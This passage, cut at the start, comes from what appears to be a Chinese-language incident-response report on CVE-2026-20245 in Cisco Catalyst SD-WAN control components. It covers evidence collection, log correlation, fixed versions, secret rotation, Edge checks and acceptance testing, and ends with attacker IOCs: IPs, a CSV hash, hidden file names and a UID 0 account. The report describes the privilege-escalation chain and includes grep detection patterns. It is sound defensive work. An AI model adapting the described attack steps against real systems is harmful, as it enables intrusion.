  tar -xOf "$f" var/log/tmplog 2>/dev/null |
    grep -E "vconfd_script_upload_.*\.sh"
done

匹配并不自动证明恶意利用。Tenant list、vSmart serial numbers 和 ZTP chassis numbers 三类合法上传脚本使用相似日志格式,日常运维会产生记录。每个命中要保存脚本名、-cli path、VPN、时间、设备和完整行,再回到工单、文件来源、操作人、命令历史与文件哈希。一个名为 malicious.csv 的示例只是文档占位;真实判断依赖本地上下文。

show history 可以补足活动命令,但它的容量和持久性有限。先导出原始输出,再按用户、终端和时间关联;不要把没有记录解释为没有执行。若终端审计、堡垒机或 shell history 可用,比较命令字符串是否完全一致。特别关注 request tenant-upload tenant-listsu、对隐藏文件的 cp/rm、grep troot 和状态验证循环。

6 证据要先活过清理,才有机会解释发生过什么

6.1 第一次升级改变现场之前,先采集每一台控制组件

Cisco 2026 年 6 月的修复流程将 admin-tech 放在第一步,并明确要求在任何升级或配置变更前采集。文档中的 CLI 入口是 request admin-tech。范围包括所有 Controller、Manager 与 Validator;Controller 要逐台运行,不能同时生成,其他组件可以按环境安排顺序。采集选中 Log 与 Tech,Core 对本次 TAC 初筛不是必需项。只提交被怀疑的那台 Manager,会漏掉 peer、复制状态和同一命令在其他控制组件上的记录。

每个包需要配套 manifest:设备新旧角色名、hostname、system IP、序列号、集群与灾备关系、实际启动版本、管理地址、采集开始和结束 UTC、设备本地时间、NTP 状态、采集命令、操作者、输出文件名、大小与 SHA-256。包之间的时间跨度也要记录,尤其是逐台采集 Controller 时,攻击者或日志轮转可能继续改变现场。

Cisco TAC 对 CVE-2026-20245 的初筛聚焦每台控制组件 /var/log/scripts.log 中的特定上传记录。官方同时提醒,底层命令是合法功能,日志本身不区分善意与恶意,命中必须与正常运维对照。TAC分析是厂商针对已知模式的初步评估,不等同于完整事件响应;Cisco FAQ也说明,深入取证仍应由客户选择的 IR 团队完成。企业可将 TAC结论、原始包和独立调查放在同一证据目录中,分别标明范围。

“未发现匹配”只适用于收到的 admin-tech 和其日志保留窗口。若包中的日志从 5 月开始,就无法排除 3 月活动;若一台灾备节点未提交,结论不能覆盖该节点。报告应写出每个来源的 earliest/latest timestamp、缺口、滚动策略和查询模式。这样,阴性结果才有可解释的范围,不会被简化成“环境未受影响”。

无法共享 admin-tech 时,Cisco提供人工验证步骤,但将其定义为初步结果,仍需记录并交 TAC。人工流程必须在每个控制组件上使用正确的版本路径,保存命令和完整输出,并说明当前日志覆盖期。对于已经发现异常的环境,人工 grep 不足以代替对认证、peer、rollback、文件系统和上游日志的完整采集。

6.2 关联这些记录以前,先把时钟与身份归一化

关联从时间和设备身份开始。Peer 记录同时保留原始时间、换算后的 UTC、时区假设、NTP 状态、设备、角色、system IP、公私网端点、站点、域、会话和证书指纹;SSH 记录则补入账户、来源、认证方式、公钥指纹、进程与终端。原始消息、来源文件和行偏移始终保留,任何推断出的年份或时钟偏差都单独标记,不能覆盖原值。

证据板连接对等、SSH、Web 会话、命令、文件、账户修改和 su 事件。
图 6:任何单条日志都不够,跨层关联才能证明从入口到 root 的完整路径。

密码事件记录操作者、目标账户、ConfD 事务和 rollback 编号;Web/API 事件记录方法、路径模板、具体 Device ID、状态、响应字节、会话与 trace ID。这样既能用事务证明密码曾被改回,也能把一次 Web 登录、连续的配置请求和具体客户对象连接起来,而不会把受控证据库里的秘密散入普通分析索引。

Tenant 上传一侧保留 CLI 命令、脚本名、输入路径、VPN、操作者和结果,再与文件的 inode、所有权、时间、哈希、恢复方式以及账户的 UID、GID、shell 和认证状态相连。每条归一化事件都带案件号、原始制品 SHA-256、采集时间和解析器版本;未恢复的隐藏备份明确写成 content_available=false,避免把“内容不可得”误写成空文件或未发生。

7 补丁可以封住上传缺陷,恢复还要重建每条分支和每个节点的信任

Cisco 为 CVE-2026-20245 和同期的 CVE-2026-20262 给出的 6 月统一修复基线是:20.9 系列从 20.9.9.2 起修复;20.12 从 20.12.7.2 起;20.15.4 从 20.15.4.5 起;20.15.5 从 20.15.5.3 起;20.16、20.17 与 20.18.x 迁移到 20.18.3.1;26.1 使用 26.1.1.2。Cisco托管集群另有 20.15.507 固定版本。公告无可替代升级的 workaround。

当前分支2026 年 6 月统一固定版本核验要求
20.9.9.1 及更早20.9.9.2逐台读取实际启动版本,确认 Manager、Controller、Validator 全部完成
20.12.7.1 及更早20.12.7.2检查集群与灾备节点,避免仅更新活动 Manager
20.15.4.4 及更早20.15.4.5不要把 20.15.5 的修复号套到 20.15.4
20.15.5.2 及更早20.15.5.3托管集群需按 Cisco 服务状态核对 20.15.507
20.16 / 20.17 / 20.18.x20.18.3.1同时核对兼容矩阵和 Edge/控制组件升级顺序
26.126.1.1.2记录完整补丁号,不以“26.1 已是新版本”放行

版本号必须逐分支解释。20.15.4.5 与 20.15.5.3 都包含修复,数字较大的 20.15.5.2 却仍在受影响范围;简单语义版本比较会给出错误答案。企业资产库应保存完整 train、maintenance release、patch、部署类型和节点角色,再用 Cisco Software Checker、公告与兼容矩阵判断。未在表内的旧分支需要迁移到受支持固定版本,不能自行推断某个更高字符串安全。

统一基线还高于早先认证绕过的首次固定版本。例如 CVE-2026-20182 在多个分支的首个修复点分别是 20.9.9.1、20.12.7.1、20.15.5.2、20.18.2.2 与 26.1.1.1,而 20245 的 6 月修复又向前推进一个补丁。停在 5 月基线的设备可能已经封住 20182,却仍可被持有有效 netadmin 的对方利用 20245。把每项 CVE 的修复列放进同一资产表,能避免“上个月刚打过补丁”成为错误结论。

升级前保存 admin-tech,升级后从节点本身重新读取版本和启动映像,并验证集群健康、control connections、证书状态、管理登录、API、模板同步与集中日志。软件包上传成功、安装任务显示完成或控制台显示目标版本,都不足以证明每台节点正在运行修复代码。灾备节点、暂停成员和后来重新加入的旧镜像尤其需要单独验收。

补丁停止未来利用,不会恢复已经泄露的信任。确认或高度怀疑失陷时,还需复核本地用户、轮换凭据、SNMP community、TACACS secret、VPN预共享密钥和证书、受信 SSH key,并审查配置模板。Cisco将这些列为修复后的 hygiene 活动;具体轮换范围应由被导出配置和攻击者可访问对象决定。

7.1 导出的 Fabric 配置,要变成凭据、证书与模板的重置清单

第一步保存攻击期间请求到的原始对象或最接近时点的备份。对每个 API 响应记录设备、endpoint、参数、HTTP状态、响应哈希和字段清单,再按数据类型分类:设备身份与系统 IP、控制器关系、站点与域、VPN和路由、模板、接口地址、AAA设置、证书引用、SNMP、TACACS、预共享密钥、SSH key与自动化账户。字段是否包含 secret 要以实际版本和响应为准。

第二步建立“秘密—消费者”关系。一个 TACACS key 可能同时存在于控制组件、Edge模板和外部 AAA;一张控制证书可能由注册、peer和灾备节点使用;自动化账户可能被备份任务、CI或监控调用。每项记录 owner、存储位置、下游消费者、撤销方式、轮换顺序、维护窗口和验收测试。只在 Manager 上改值,而未重新下发或更新外部系统,会让旧秘密继续有效或造成业务中断。

第三步处理活动会话。修改 adminvmanage-admin 密码并不必然撤销现有 SSH、Web或API session;证书重签也不一定终止已经建立的控制连接。逐类列出会话、token、cookie、SSH连接和peer,按产品支持方式失效,并在上游防火墙观察旧来源是否重试。旧凭据被拒、旧证书无法注册和旧session失效都应留有日志证据。

第四步复核配置传播。Mandiant 确认对方导出了 Fabric 配置;Cisco 记录到,有限案例中利用确实导致配置变化被推送至 Edge。检查 Manager audit log、模板 attach/detach、CLI diff、任务记录和 Edge running configuration,按 revision 与时间确定是否有未经批准的 ACL、路由、DNS、AAA、证书、隧道或脚本变化。当前模板正常时,仍要比较攻击窗口前后的版本。

第五步为每项关闭条件指定证据。诸如“证书已轮换”应附旧序列号、撤销状态、新序列号、部署节点、失败注册测试和peer数量;“账户已清理”应附UID 0清单、passwd/shadow校验、AAA账户、活动session和登录测试;“配置未被下发”应附任务、revision、Edge diff和时间范围。可执行的清单由对象、动作和验收组成,而非一行“重置所有凭据”。

7.2 Edge 范围取决于任务、修订和运行状态,不取决于控制器原本想做什么

CVE-2026-20245 的受影响产品是控制组件,Cisco IOS XE Edge 不在该公告的直接漏洞列表中。控制平面 root 仍可能通过合法产品能力影响Edge:读取配置、修改模板、改变策略、推送任务或接触信任材料。影响声明应分别写“漏洞直接受影响产品”“观察到的控制面访问”“确认下发到Edge的变化”和“仍在调查的潜在范围”。

易失证据与持久证据分层摆放,标出升级或清理前必须保存的对象。
图 7:先保存会消失的状态,再做会改变设备的升级与清理。

对每台Edge建立基线:设备ID、system IP、site、型号、版本、所属模板、最后attach时间、最后任务、证书、控制器peer和配置哈希。将攻击窗口内的Manager task与Edge日志、running config和外部备份比较;重点关注管理ACL、AAA、DNS、NTP、隧道、路由、policy、软件包和证书。若只检查业务流量是否正常,隐蔽的管理或持久化变化可能被遗漏。

Cisco在疑似Edge失陷时将安全出厂重置与重新onboarding列为客户可考虑的选项,安全重置命令为 factory-reset all secure。这是一项破坏性强、会影响业务的客户决策,不应作为所有事件的机械步骤。是否执行取决于确切证据、设备可取证性、冗余、重建来源可信度和安全保证要求;执行前保存配置、证书、日志和磁盘可得证据。

重新onboarding也必须使用新的信任材料和已验证模板。若把旧备份、旧证书或可疑自动化重新注入干净设备,重置只能短暂清除本地状态。构建“洁净源”清单:修复后的控制组件、受控证书颁发、已审阅模板、轮换后的AAA、可信软件镜像和独立网络路径。重新加入后观察peer、配置差异和日志转发,再逐步恢复业务。

若未发现 Edge 修改,结论也必须写明所依据的证据源和审查窗口,不能不加限定地宣称 Edge“未受影响”。完整的任务与配置历史比短周期滚动日志更有保证;历史不完整时,只能说明在已审阅来源和时间范围内未发现变化,并标出缺失时段。这样,后续出现的新证据才能自然纳入原有结论。

检测应围绕四条连续状态,而不是把每个合法动作单独告警:异常 peer 后出现 vmanage-admin SSH;短时改密后发生 Web 登录、配置读取与恢复;产品上传脚本之后出现 UID 0 账户和 su;最后是恢复、删除与验证。下面的关联表把每条链所需的最小连接字段和升级条件放在一起。

检测组合最低连接字段升级条件
异常 peer → vmanage-admin SSHdevice、UTC、system/public IP、key fingerprint未知证书、非维护时段、同源多节点
密码变化 → Web/API枚举 → 恢复transaction、target account、session、endpoint无工单、配置批量读取、来源异常
上传脚本 → UID 0 → supath、hash、script、account、auth event隐藏系统文件备份、troot、成功su
恢复 → 删除 → 验证session、command、file metadata、upstream log落入前述任一行为窗口

规则必须带上版本和环境上下文:20.9 之前的脚本日志位于不同路径,托管与本地部署的批准来源不同,Tenant、serial 与 chassis 上传也可能是正常运维。用本地维护历史建立 peer、证书、账户、目录和 API 客户端基线,并让告警明确指出偏离了哪一项预期;公开 IP、文件名和哈希只作为高特异线索,不能替代行为链。

8 每台组件都拒绝旧路径、整张 Fabric 讲出同一故事时,恢复才算结束

  1. 0—2小时:指定事件负责人,冻结控制面非必要变更,记录当前UTC和NTP状态;从外层防火墙收敛 22、830、8443及控制端口,仅保留已登记控制器与跳板机;保存执行隔离前后的ACL。若异常peer仍在线,先导出连接详情、证书和会话,再按业务风险决定阻断。此阶段保留troot及相关状态,待高价值证据采集完成后再重启或升级。
  2. 2—8小时:按集群清单采集全部 Controller、Manager、Validator 的 admin-tech,Controller逐台进行;并行导出 auth、scripts/vdebug、ConfD rollback、命令历史、Web/API、审计日志、用户与UID 0清单、/home/admin元数据和上游系统记录。对每份原件计算SHA-256并写manifest。若存在高价值易失信息,优先于耗时较长的全量包。
  3. 8—24小时:建立事件表,分别标记2025年末—1月、3月和4月;将peer、SSH、密码transaction、Web session、API、上传命令、脚本、文件和su连接。匹配八个IOC IP与CSV哈希,搜索其他文件名和UID 0账户。打开Cisco Severity 3 TAC case,在标题中包含CVE和公告ID,上传所有控制组件包;同时由IR团队扩展到上游身份、网络和配置系统。
  4. 24—72小时:在证据保全后升级全部节点到对应固定版本,验证实际启动版本与集群健康;修复CVE-2026-20127、20182、20245及同批需处理公告。根据配置导出字段轮换凭据、secret、SSH key和证书,撤销session,复核模板与Edge下发。确认Edge失陷时制定安全重置和可信onboarding计划。
  5. 72小时以后:持续观察旧来源、旧证书和旧凭据重试;对集中日志建立长期规则;补齐控制组件资产、版本、peer和证书基线;复盘异常peer、临时密码变化或批量配置读取未被及时识别的原因。结项报告分别列出已确认事实、强关联、候选解释和无法恢复的证据,并分别记录软件、身份、证书、配置和Edge的恢复状态。

一项可关闭的技术任务应具有清楚验收。例如“盘点全部控制组件”意味着 Manager、Controller、Validator、灾备和托管成员都有hostname、system IP、角色、完整版本、集群、管理暴露和owner,数量能与Fabric视图和采购/托管记录对上;“完成升级”意味着每台实际运行版本达到分支固定点,认证绕过与提权均已覆盖,并通过peer、登录、API、模板和日志测试;“清除入侵”则需要账户、session、证书、secret、配置、Edge和上游日志共同支持。

8.1 验收要证明旧路径已经关闭,又不能重放破坏性载荷

生产验收由版本证明、正常 Tenant CSV 上传、日志复核和账户文件完整性组成。负向语料只在隔离实验或厂商支持的测试环境运行:用明确非法字符或转义位置触发修复后的解析器,并以指定哨兵文件证明输入始终停留在数据位置。测试样本、期望错误、前后文件哈希和日志全部存档。

认证绕过验收从peer开始。使用已撤销或未登记证书的受控节点尝试注册,应看到失败并产生可告警事件;合法peer应在完整challenge流程后建立连接。比较 show control connections detail/history 中的身份、challenge统计和证书,确认旧异常system IP不再出现。防火墙还应证明未授权来源无法到达管理和控制端口。

凭据验收包括旧密码、旧SSH key、旧Web session和旧API token逐项失败,新凭据仅能从批准跳板机使用;AAA和本地fallback账户按最小权限工作。账户文件中只有批准的UID 0项,troot及任何未知同UID账户不存在。集中认证日志要能接收到成功和失败测试,并显示正确设备、用户、来源和时间。

配置验收比较攻击窗口前的可信备份、修复前快照和修复后状态。所有差异都有变更单与owner,Edge running configuration和模板一致,未发现异常attach、路由、ACL、AAA、DNS或证书。对已轮换secret执行实际依赖测试,确认旧值失效而业务恢复;只观察“网络通”不足以证明信任重置完成。

取证验收检查admin-tech与原始日志可读取、manifest完整、哈希一致、覆盖时间明确,TAC与IR团队都能复现关键查询。案件时间线的每条结论附来源和置信度;A/B时期的归因缺口仍保留。完成这些步骤后,修复状态才同时包含代码、身份、信任、配置、遥测和证据六个维度。

长期加固从两件事开始:让控制平面难以抵达,也难以悄悄使用。网络层首先收敛管理和控制端口。Cisco对本地部署建议用ACL、安全组或防火墙限制22和830只允许已知控制器及管理源,并只向确有需要的主机开放控制组件。Web管理入口放在专用管理网络或受控跳板之后,关闭HTTP和FTP等不需要服务;互联网暴露必须有明确业务理由、来源白名单和持续监控。

响应顺序从隔离管理入口、保存 admin-tech 到升级、重置信任和负向验收。
图 8:恢复不仅是安装固定版本,还包括撤销已经穿过控制平面的信任。

身份层减少默认和共享账户的日常使用。为实名管理员建立独立角色,通过AAA集中认证和审批;本地admin作为受控break-glass并监控每次使用。SSH key与证书有owner、到期、轮换和撤销记录,自动化凭据不与人工共享。登录后可执行的CLI、NETCONF和API权限按任务最小化,避免一只服务账户同时拥有配置导出和高风险上传能力。

Peer信任层维护证书与设备双向资产。每个system IP对应序列号、角色、证书fingerprint、issuer、有效期、public/private address、site/domain和托管owner;新增、替换、吊销均需变更记录。定期导出current与history connection比较,未知vmanage peer和challenge异常进入人工队列。证书私钥的存储、备份与访问日志纳入密钥管理。

日志层将auth、vconfd、script、vmanage audit、Web/API和control connection事件发送到外部系统,统一UTC并保留足够长时间。保留期至少覆盖设备补丁、证书轮换和事件发现的最长周期;2025年末到6月才公开的案例说明数周日志往往不足。对日志关闭、时间漂移、转发延迟和解析失败设置健康告警。

8.2 产品在数据进入命令时失守,恢复要在证据成为证明时完成

从技术上看,CVE-2026-20245 的公开事实很集中:一只已有 netadmin 的账户向控制组件提交特制文件,CLI上传路径在高权限上下文处理恶意数据,攻击者得以修改操作系统账户数据库并使用root身份。专有内部函数未公开,事件日志却把入口、脚本、文件、账户和su连接起来,足以解释风险和指导检测。

从事件上看,异常peer让管理面暴露,短时密码变化把内部SSH能力换成Web会话,API枚举导出Fabric配置,恶意CSV再跨到root。清理动作把最终状态恢复得近似正常,却在rollback、auth、script、API、文件系统和上游设备留下不同侧面的记录。调查质量取决于能否保留这些独立来源,并用字段而非叙事直觉将它们连接。

从处置上看,固定版本明确可得,Cisco也提供了逐版本、逐日志路径和逐组件的工作流。企业可以在保存证据后快速升级,并借此次事件把控制平面纳入与身份系统、云管理面同等级的监控和信任治理。Peer基线、集中日志、完整资产版本、配置revision和证书清单一旦建立,未来类似异常会更早暴露,也更容易回答影响范围。

两个结论必须并列保留:4 月的 CSV 到 root 链已经由现场证据确认;2025 年末至 1 月与 3 月异常 peering 的行为者连续性仍未解决。前者支持立即修复和检测,后者要求调查继续沿证书、基础设施和操作字段查证,而不能越过证据。明确区分已确认事实与待证关系,才能让后续处置和新证据各自落到准确位置。

研究记录

9证据、对象与来源

下面保留本文实际使用的标识、时间和原始材料,便于继续调查。

9.1可检索观测值

来自引用材料或本次调查的值,并附有使用这些值所需的上下文。

类型说明操作
SHA-256b82936f37648518425c7d3cf9e09eaffa41d7cdb3840f6a40287e3a108880f7bMandiant 从已删除 evil_tenant.csv 恢复的残片
文件名/home/admin/evil_tenant.csv事件中用于触发 Tenant 上传路径的特制 CSV
文件名/home/admin/.orig_vbond_vsmart_tenant_list攻击者创建的 Tenant 列表隐藏备份;完整文件未恢复
文件名/home/admin/.orig_vbond_vsmart_tenant_list.state记录原 Tenant 列表 present/absent 状态的隐藏文件
文件名/home/admin/.orig_passwd攻击者创建的 passwd 隐藏备份;完整文件未恢复
文件名/home/admin/.orig_shadow攻击者创建的 shadow 隐藏备份;完整文件未恢复
账户troot事件中创建并通过 su 使用的 UID 0 账户
IPv4 地址126.51.108.152Mandiant 标注的异常设备连接与 CVE-2026-20245 利用来源
IPv4 地址76.92.245.217Mandiant 标注的异常设备连接来源
IPv4 地址207.190.37.94Mandiant 标注的异常设备连接来源
IPv4 地址23.245.7.178Mandiant 标注的异常设备连接来源
IPv4 地址153.186.231.233Mandiant 标注的异常设备连接来源
IPv4 地址167.179.79.189Mandiant 标注的异常设备连接来源
IPv4 地址45.32.38.160Mandiant 标注的异常设备连接来源
IPv4 地址209.137.225.101Mandiant 标注的异常设备连接来源

9.2研究对象

报告涉及的产品、行为者、技术、受影响对象和控制点。

CVECVE-2026-20245

Catalyst SD-WAN 控制组件中需 netadmin 权限的本地提权,成功后以 root 执行命令

9.3事件时间

  1. 第一段异常 peering

    多次未授权对等连接出现在受害环境;CVE-2026-20127、CVE-2026-20182 是候选路径,公开证据未确定具体利用方式。

  2. 新 peer、管理登录与配置导出

    新异常 peer 出现在不受 20127 影响的设备上,Cisco 确认未使用 20182;随后发生 vmanage-admin SSH、admin 密码短时修改和 Fabric 配置读取。

  3. CVE-2026-20245 已确认利用

    admin 会话上传 evil_tenant.csv,载荷备份系统文件、创建 troot 并成功 su,随后恢复配置和删除痕迹。

  4. Cisco 发布修复公告

    Cisco 公布 CSCwu18563、CVSS 7.8、受影响控制组件和固定版本,并确认现实利用。

  5. Mandiant 公开事件细节

    事件响应团队公开命令、载荷片段、日志、八个 IP、CSV 哈希、检测与修复建议。

9.4来源与材料

  1. Mandiant:CVE-2026-20245 在 Cisco Catalyst SD-WAN Manager 中的零日利用与事件证据https://cloud.google.com/blog/topics/threat-intelligence/zero-day-exploitation-cisco-catalyst-sd-wan-manager
  2. Cisco PSIRT:CVE-2026-20245 / CSCwu18563 安全公告https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx
  3. Cisco:2026 年 6 月 Catalyst SD-WAN 采集、TAC、人工核验与升级流程https://www.cisco.com/c/en/us/support/docs/routers/sd-wan/226014-remediate-catalyst-sd-wan-security.html
  4. Cisco PSIRT:CVE-2026-20127 peering 认证绕过公告与事件验证字段https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sdwan-rpa-EHchtZk.html
  5. Cisco PSIRT:CVE-2026-20182 control connection 认证绕过公告与 challenge 检查https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-sdwan-rpa2-v69WY2SW.html
  6. Cisco Catalyst SD-WAN 命令参考:request admin-tech 的范围与输出https://www.cisco.com/c/en/us/td/docs/routers/sdwan/command/sdwan-cr-book/operational-cmd.html
  7. Cisco Catalyst SD-WAN 日志文档:Manager 日志路径、格式与 UTC 行为https://www.cisco.com/c/en/us/td/docs/routers/sdwan/26x-later/monitor-and-maintain/monitor-maintain-guide/alarms-events-logs.html
  8. Cisco Catalyst SD-WAN System Logging:auth、vconfd、vmanage audit 等日志语义https://www.cisco.com/c/en/us/td/docs/routers/sdwan/26x-later/cc-device-mgmt/ctrl-comp-device-mgmt/sys-logging/sys-log-info.html
  9. Cisco SD-WAN Manager Audit Log:活动筛选、导出与 CLI Diffhttps://www.cisco.com/c/en/us/td/docs/routers/sdwan/vManage-Help/xe-17-vedge-20/b-vmanage-help/m-help-monitor.html
  10. Cisco SD-WAN Manager 用户管理:标准 admin 账户与权限查看https://www.cisco.com/c/en/us/td/docs/routers/sdwan/vManage-Help/xe-17-vedge-20/b-vmanage-help/m-help-administration.html
  11. NVD:CVE-2026-20245 版本范围、CVSS 与 CISA SSVC 数据https://nvd.nist.gov/vuln/detail/CVE-2026-20245
  12. CISA KEV:CVE-2026-20245 已知被利用漏洞条目https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20245
  13. CVE Program:CVE-2026-20245 官方记录https://www.cve.org/CVERecord?id=CVE-2026-20245
  14. MITRE ATT&CK T1068:Exploitation for Privilege Escalationhttps://attack.mitre.org/techniques/T1068/
  15. MITRE ATT&CK T1098:Account Manipulationhttps://attack.mitre.org/techniques/T1098/
  16. MITRE ATT&CK T1070.004:File Deletionhttps://attack.mitre.org/techniques/T1070/004/
  17. Cisco Software Checker:按精确版本核对公告影响与固定版本https://sec.cloudapps.cisco.com/security/center/softwarechecker.x